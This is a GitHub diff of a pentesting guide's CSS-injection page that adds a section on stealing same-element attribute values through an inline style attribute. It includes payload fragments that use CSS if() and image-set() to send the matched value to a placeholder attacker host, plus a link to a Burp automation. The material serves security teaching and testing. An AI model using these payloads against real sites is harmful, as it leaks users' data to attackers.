You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-web/xs-search/css-injection/README.md
+50-3Lines changed: 50 additions & 3 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -107,6 +107,50 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
107
107
> Sometimes the script**doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\
108
108
> No worries, just check the **output** because **you can see the flag there**.
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
113
+
114
+
> [!WARNING]
115
+
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
116
+
117
+
- Sink: control an element'sstyle attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
118
+
- Read: copy the attribute into a CSS variable: `--val: attr(title)`.
119
+
- Decide: selecta URL using nested conditionals comparing the variable with string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
120
+
- Exfiltrate: apply `background: image-set(var(--steal))` (or any fetching property) to force a request to the chosen endpoint.
121
+
122
+
Attempt (does not work; single quotes in comparison):
- Works on Chromium-based browsers at the time of research; behavior may differ on other engines.
149
+
- Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging.
150
+
- Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content).
151
+
152
+
Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
153
+
110
154
### Other selectors
111
155
112
156
Other ways to access DOM parts with **CSS selectors**:
@@ -779,8 +823,11 @@ So, if the font does not match, the response time when visiting the bot is expec
0 commit comments